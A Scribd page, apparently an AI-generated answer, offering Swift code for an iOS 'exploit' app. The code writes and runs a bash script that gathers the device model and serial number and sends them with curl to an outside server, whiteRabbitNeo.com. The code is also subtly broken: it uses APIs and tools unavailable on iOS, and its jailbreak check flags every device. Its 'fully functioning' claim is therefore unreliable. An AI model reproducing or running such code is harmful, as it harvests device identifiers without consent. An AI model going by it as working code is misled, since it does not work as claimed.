Open navigation menu
Close suggestions
Search
Search
en
Change Language
Upload
Sign in
Sign in
Download free for days
0 ratings
0% found this document useful (0 votes)
14 views
Exploiting Ios
Here's a fully functioning code example in Swift for the iOS app
Uploaded by
yngy7kd9cq
AI-enhanced title
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content,
claim it here
.
Available Formats
Download as PDF, TXT or read online on Scribd
Download now
Download
Save exploiting ios For Later
Download
Save
Save exploiting ios For Later
0%
0% found this document useful, undefined
0%
, undefined
Embed
Share
Print
Report
0 ratings
0% found this document useful (0 votes)
14 views
Exploiting Ios
Here's a fully functioning code example in Swift for the iOS app
Uploaded by
yngy7kd9cq
AI-enhanced title
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content,
claim it here
.
Available Formats
Download as PDF, TXT or read online on Scribd
Download now
Download
Save exploiting ios For Later
Carousel Previous
Carousel Next
Save
Save exploiting ios For Later
0%
0% found this document useful, undefined
0%
, undefined
Embed
Share
Print
Report
Download now
Download
You are on page 1
/ 1
Search
Fullscreen
import UIKit
class ExploitViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
// Check if the device is jailbroken
if isJailbroken() {
// Get the root directory
let rootDir = "/var/root"
// Check if the exploit file exists
let exploitFilePath = "\(rootDir)/whiteRabbitNeo.exploit"
if FileManager.default.fileExists(atPath: exploitFilePath) {
// Execute the exploit file
let task = Process()
task.launchPath = "/usr/bin/bash"
task.arguments = [exploitFilePath]
task.launch()
} else {
// Create the exploit file
createExploitFile(atPath: exploitFilePath)
}
} else {
// Display an alert message
let alert = UIAlertController(title: "Jailbreak Required", message: "This app requires a jailbroken device to work
properly.", preferredStyle: .alert)
alert.addAction(UIAlertAction(title: "OK", style: .default, handler: nil))
present(alert, animated: true, completion: nil)
}
}
// Function to check if the device is jailbroken
func isJailbroken() -> Bool {
// Check for common jailbreak indicators
let jailbreakFiles = [
"/var/mobile/Media",
"/private/var/mobile/Library/Cydia",
"/var/jb",
"/usr/sbin/sshd"
]
for file in jailbreakFiles {
if FileManager.default.fileExists(atPath: file) {
return true
}
}
return false
}
// Function to create the exploit file
func createExploitFile(atPath path: String) {
let exploitContent = """
#!/bin/bash
# whiteRabbitNeo exploit script
# Get the device model
model=$(sysctl -n hw.model)
# Get the device serial number
serial=$(ioreg -c IOPlatformExpertDevice -d 2 | awk -F\" '/IOPlatformSerialNumber/{print $(NF-1)}')
# Create the payload
payload="{\"model\":\"$model\",\"serial\":\"$serial\"}"
# Send the payload to the server
curl -X POST -H "Content-Type: application/json" -d "$payload" http://whiteRabbitNeo.com/exploit
"""
// Write the exploit content to the file
try? exploitContent.write(toFile: path, atomically: true, encoding: .utf8)
// Set the file permissions
try? FileManager.default.setAttributes([.ownerRead, .ownerWrite, .ownerExecute], ofItemAtPath: path)
}
}
You might also like
Remote Buffer Overflow Exploits
PDF
No ratings yet
Remote Buffer Overflow Exploits
10 pages
How Hackers Hack Android
PDF
No ratings yet
How Hackers Hack Android
12 pages
iOS Swift Anti-Jailbreak Bypass With Frida
PDF
No ratings yet
iOS Swift Anti-Jailbreak Bypass With Frida
24 pages
Linuxacademy Kubernetes Studyguide 1473361443
PDF
50% (2)
Linuxacademy Kubernetes Studyguide 1473361443
10 pages
jailbreak iOS
PDF
No ratings yet
jailbreak iOS
15 pages
IOS Application Security Part 24 - Jailbreak Detection and Evasion
PDF
No ratings yet
IOS Application Security Part 24 - Jailbreak Detection and Evasion
5 pages
How to a Developers Guide to 4k: Developer edition, #3
From Everand
How to a Developers Guide to 4k: Developer edition, #3
Xinc Cyberwizard
No ratings yet
jailbreak Android
PDF
No ratings yet
jailbreak Android
8 pages
Localizable Unc0ver
PDF
No ratings yet
Localizable Unc0ver
9 pages
128-ch3b
PDF
No ratings yet
128-ch3b
45 pages
Example - RB Example - RB
PDF
No ratings yet
Example - RB Example - RB
2 pages
Strategic Analysis of The iOS Jailbreak Development Community
PDF
No ratings yet
Strategic Analysis of The iOS Jailbreak Development Community
39 pages
iOS Exploits - iOS - EDG Confluence PDF
PDF
No ratings yet
iOS Exploits - iOS - EDG Confluence PDF
3 pages
SearchSecurity - in EXP Writing Tutorial.02
PDF
No ratings yet
SearchSecurity - in EXP Writing Tutorial.02
6 pages
Pwnable - KR - Bof - 0xrick
PDF
No ratings yet
Pwnable - KR - Bof - 0xrick
7 pages
Buffer Overflow
PDF
No ratings yet
Buffer Overflow
22 pages
IOS Appsec
PDF
100% (1)
IOS Appsec
309 pages
Anatomy of Exploit - World of Shellcode
PDF
No ratings yet
Anatomy of Exploit - World of Shellcode
18 pages
Xu Hao Xiabo Chen Find Your Own IOS Kernel Bug
PDF
No ratings yet
Xu Hao Xiabo Chen Find Your Own IOS Kernel Bug
74 pages
BH US 11 Esser Exploiting The iOS Kernel Slides
PDF
No ratings yet
BH US 11 Esser Exploiting The iOS Kernel Slides
97 pages
Ra .About Exploits Writing
PDF
No ratings yet
Ra .About Exploits Writing
31 pages
Buffer Overflow
PDF
No ratings yet
Buffer Overflow
5 pages
Lab 6.2 Remote Linux Buffer Overflow With Listening Shell
PDF
No ratings yet
Lab 6.2 Remote Linux Buffer Overflow With Listening Shell
20 pages
Pentesting Iphone Applications
PDF
No ratings yet
Pentesting Iphone Applications
31 pages
701_advances_in_macos_security
PDF
No ratings yet
701_advances_in_macos_security
237 pages
IOS Application Security Part 33 - Writing Tweaks Using Theos (Cydia Substrate)
PDF
No ratings yet
IOS Application Security Part 33 - Writing Tweaks Using Theos (Cydia Substrate)
9 pages
Understanding Software Engineering Vol 3: Programming Basic Software Functionalities.
From Everand
Understanding Software Engineering Vol 3: Programming Basic Software Functionalities.
Gabriel Clemente
No ratings yet
HTB BigHead Exploit - Small Buffer Exploit Without Egghunter InfoSec Blog
PDF
No ratings yet
HTB BigHead Exploit - Small Buffer Exploit Without Egghunter InfoSec Blog
8 pages
Unix Application Buffer Overflow
PDF
No ratings yet
Unix Application Buffer Overflow
54 pages
RANDORISEC Mobile Hacking iOS Assessing Apps Cheatsheet v1.1
PDF
No ratings yet
RANDORISEC Mobile Hacking iOS Assessing Apps Cheatsheet v1.1
2 pages
Jailbreak_detection-Pass_The_Salt_2021
PDF
No ratings yet
Jailbreak_detection-Pass_The_Salt_2021
32 pages
Readme
PDF
No ratings yet
Readme
28 pages
Lab-18-Introducing VulnServer
PDF
No ratings yet
Lab-18-Introducing VulnServer
7 pages
IND ANDROID - HACKING By: - Shubham Yadav
PDF
100% (1)
IND ANDROID - HACKING By: - Shubham Yadav
13 pages
141-Smasher HTB Official Writeup Tamarisk
PDF
No ratings yet
141-Smasher HTB Official Writeup Tamarisk
23 pages
Android Exploitation - F0rki - Hackingnight 2013 06 06
PDF
No ratings yet
Android Exploitation - F0rki - Hackingnight 2013 06 06
51 pages
Mips Bof Lyonyang Public Final
PDF
No ratings yet
Mips Bof Lyonyang Public Final
28 pages
NoSQL Injection for Elasticsearch
From Everand
NoSQL Injection for Elasticsearch
Gary Drocella
No ratings yet
T19 Prateek
PDF
No ratings yet
T19 Prateek
5 pages
PPT
PDF
100% (1)
PPT
97 pages
Build your own Blockchain: Make your own blockchain and trading bot on your pc
From Everand
Build your own Blockchain: Make your own blockchain and trading bot on your pc
Magelan Cybersecurity
No ratings yet
iOS Hacking: Advanced Pentest & Forensic Techniques
PDF
100% (1)
iOS Hacking: Advanced Pentest & Forensic Techniques
60 pages
Developing An Exploit Using The It Framework
PDF
No ratings yet
Developing An Exploit Using The It Framework
9 pages
SyScanTaipei2011 StefanEsser iOS Kernel Exploitation IOKit Edition
PDF
No ratings yet
SyScanTaipei2011 StefanEsser iOS Kernel Exploitation IOKit Edition
107 pages
Lab8-Buffer Overflow
PDF
No ratings yet
Lab8-Buffer Overflow
8 pages
Report of Buffer Overflow
PDF
No ratings yet
Report of Buffer Overflow
9 pages
Inspiring Powershell Articles
From Everand
Inspiring Powershell Articles
Murat Yildirimoglu
No ratings yet
Android Malware Characterization and Detection
PDF
No ratings yet
Android Malware Characterization and Detection
45 pages
Exploit Development
PDF
No ratings yet
Exploit Development
18 pages
Project 6 Exploit Devloped For Buffer Overflows
PDF
No ratings yet
Project 6 Exploit Devloped For Buffer Overflows
11 pages
Introduction To Exploit Development (Buffer Overflows) PDF
PDF
No ratings yet
Introduction To Exploit Development (Buffer Overflows) PDF
46 pages
Thesis 1
PDF
No ratings yet
Thesis 1
110 pages
Disabling Root Detection in Android
PDF
No ratings yet
Disabling Root Detection in Android
3 pages
Mobile Hacking iOS Cheatsheet v1.0
PDF
No ratings yet
Mobile Hacking iOS Cheatsheet v1.0
2 pages
Tweak
PDF
No ratings yet
Tweak
2 pages
Ios Security Controls Test Cases
PDF
No ratings yet
Ios Security Controls Test Cases
10 pages
Day2.1ShellCodes
PDF
No ratings yet
Day2.1ShellCodes
16 pages
I o Shacking
PDF
No ratings yet
I o Shacking
60 pages
(@CyberBankSa) - eCXD Labs
PDF
No ratings yet
(@CyberBankSa) - eCXD Labs
286 pages
BoF
PDF
No ratings yet
BoF
7 pages
IOS App Pentest
PDF
100% (1)
IOS App Pentest
78 pages
Installing Oreka/Orkweb in Vmware Server 2.0.2: Keys
PDF
No ratings yet
Installing Oreka/Orkweb in Vmware Server 2.0.2: Keys
8 pages
Cmake Cheatsheet - A Gentle Introduction To Cmake
PDF
100% (1)
Cmake Cheatsheet - A Gentle Introduction To Cmake
5 pages
DD Vstor40 x64MSI4569
PDF
No ratings yet
DD Vstor40 x64MSI4569
121 pages
IBMJava 626
PDF
No ratings yet
IBMJava 626
192 pages
Operating System (23UDSPCL2303)
PDF
No ratings yet
Operating System (23UDSPCL2303)
2 pages
Ransomware - Sophoslabs-Ransomware-Behavior-Report PDF
PDF
No ratings yet
Ransomware - Sophoslabs-Ransomware-Behavior-Report PDF
29 pages
Operating System and RJP Vgec Gecm
PDF
No ratings yet
Operating System and RJP Vgec Gecm
72 pages
Unix - Introduction: Prepared by Jadala Vijaya Chandra
PDF
No ratings yet
Unix - Introduction: Prepared by Jadala Vijaya Chandra
6 pages
WinXP Driver Installation Guide
PDF
No ratings yet
WinXP Driver Installation Guide
4 pages
Word Count using MapReduce on Hadoop
PDF
No ratings yet
Word Count using MapReduce on Hadoop
14 pages
Virtualbox Troubleshooting Tips: Kernel Driver Not Installed (RC - 19008) (For Mac Users)
PDF
No ratings yet
Virtualbox Troubleshooting Tips: Kernel Driver Not Installed (RC - 19008) (For Mac Users)
5 pages
04 Progbasics
PDF
No ratings yet
04 Progbasics
62 pages
HW2 Operating Systems
PDF
No ratings yet
HW2 Operating Systems
9 pages
FAQ - VeraCrypt
PDF
No ratings yet
FAQ - VeraCrypt
4 pages
Kernel in SAP
PDF
No ratings yet
Kernel in SAP
3 pages
CUDA Installation Guide Linux
PDF
No ratings yet
CUDA Installation Guide Linux
45 pages
1g CL Asgn0 Detail Grading File t1824 - 240923
PDF
No ratings yet
1g CL Asgn0 Detail Grading File t1824 - 240923
7 pages
Operating System Test
PDF
No ratings yet
Operating System Test
6 pages
Step by Step Installation of Oracle Apps R12 - 2
PDF
No ratings yet
Step by Step Installation of Oracle Apps R12 - 2
2 pages
MT6735M Android EMMC Scatter
PDF
0% (1)
MT6735M Android EMMC Scatter
7 pages
Big Data Notes 2025
PDF
No ratings yet
Big Data Notes 2025
13 pages
Read Me
PDF
No ratings yet
Read Me
2 pages
Sistem Informasi Perdagangan Online
PDF
No ratings yet
Sistem Informasi Perdagangan Online
2 pages
Chef Lab
PDF
No ratings yet
Chef Lab
3 pages
18CSC205J-Operating Systems: Unit-II
PDF
No ratings yet
18CSC205J-Operating Systems: Unit-II
140 pages
Lecture13 - Full IS1500
PDF
No ratings yet
Lecture13 - Full IS1500
34 pages
Do285 4.5 Student Guide
PDF
100% (1)
Do285 4.5 Student Guide
596 pages
Booting Up Process of A Computer
PDF
No ratings yet
Booting Up Process of A Computer
2 pages
Relnotes MZ43-G20 F25 Genoa
PDF
No ratings yet
Relnotes MZ43-G20 F25 Genoa
6 pages